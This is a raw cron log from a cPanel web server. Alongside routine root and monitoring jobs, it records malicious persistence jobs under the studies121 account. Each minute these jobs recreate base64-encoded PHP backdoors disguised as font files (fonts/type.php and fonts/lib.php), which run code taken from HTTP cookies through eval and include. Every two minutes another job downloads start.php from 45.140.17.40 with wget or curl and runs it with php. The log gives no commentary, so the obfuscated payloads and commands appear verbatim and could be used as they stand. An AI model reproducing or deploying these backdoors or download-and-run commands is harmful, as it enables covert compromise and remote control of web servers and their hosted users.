Sep  4 09:33:01 ip-184-168-122-23 CROND[31018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:33:01 ip-184-168-122-23 CROND[31019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:34:01 ip-184-168-122-23 CROND[31148]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:34:01 ip-184-168-122-23 CROND[31151]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:34:01 ip-184-168-122-23 CROND[31150]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:34:01 ip-184-168-122-23 CROND[31153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:34:01 ip-184-168-122-23 CROND[31152]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:35:01 ip-184-168-122-23 CROND[31287]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 09:35:01 ip-184-168-122-23 CROND[31288]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:35:01 ip-184-168-122-23 CROND[31289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:35:01 ip-184-168-122-23 CROND[31285]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 09:35:01 ip-184-168-122-23 CROND[31292]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:35:01 ip-184-168-122-23 CROND[31290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:35:01 ip-184-168-122-23 CROND[31286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:35:01 ip-184-168-122-23 CROND[31291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:36:01 ip-184-168-122-23 CROND[31434]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:36:01 ip-184-168-122-23 CROND[31435]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:36:01 ip-184-168-122-23 CROND[31438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:36:01 ip-184-168-122-23 CROND[31440]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:36:01 ip-184-168-122-23 CROND[31439]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:37:01 ip-184-168-122-23 CROND[31612]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:37:01 ip-184-168-122-23 CROND[31613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:37:01 ip-184-168-122-23 CROND[31615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:37:01 ip-184-168-122-23 CROND[31617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:38:01 ip-184-168-122-23 CROND[31761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:38:01 ip-184-168-122-23 CROND[31764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:38:01 ip-184-168-122-23 CROND[31763]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:38:01 ip-184-168-122-23 CROND[31765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:38:01 ip-184-168-122-23 CROND[31767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:39:01 ip-184-168-122-23 CROND[31912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:39:01 ip-184-168-122-23 CROND[31911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:39:01 ip-184-168-122-23 CROND[31913]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:39:01 ip-184-168-122-23 CROND[31914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:39:01 ip-184-168-122-23 CROND[31915]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 09:40:01 ip-184-168-122-23 CROND[32036]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 09:40:01 ip-184-168-122-23 CROND[32039]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 09:40:01 ip-184-168-122-23 CROND[32042]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:40:01 ip-184-168-122-23 CROND[32041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:40:01 ip-184-168-122-23 CROND[32044]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 09:40:01 ip-184-168-122-23 CROND[32040]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:40:01 ip-184-168-122-23 CROND[32046]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:40:01 ip-184-168-122-23 CROND[32043]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:41:02 ip-184-168-122-23 CROND[32163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:41:02 ip-184-168-122-23 CROND[32165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:41:02 ip-184-168-122-23 CROND[32166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:41:02 ip-184-168-122-23 CROND[32164]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:42:01 ip-184-168-122-23 CROND[32265]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:42:01 ip-184-168-122-23 CROND[32269]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:42:01 ip-184-168-122-23 CROND[32266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:42:01 ip-184-168-122-23 CROND[32267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:42:01 ip-184-168-122-23 CROND[32268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:43:01 ip-184-168-122-23 CROND[32374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:43:02 ip-184-168-122-23 CROND[32377]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:43:02 ip-184-168-122-23 CROND[32379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:43:02 ip-184-168-122-23 CROND[32378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:44:01 ip-184-168-122-23 CROND[32577]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 09:44:01 ip-184-168-122-23 CROND[32579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 09:44:01 ip-184-168-122-23 CROND[32582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:44:01 ip-184-168-122-23 CROND[32580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:44:01 ip-184-168-122-23 CROND[32581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 09:45:01 ip-184-168-122-23 CROND[32692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 09:45:01 ip-184-168-122-23 CROND[32691]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 09:45:01 ip-184-168-122-23 CROND[32693]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
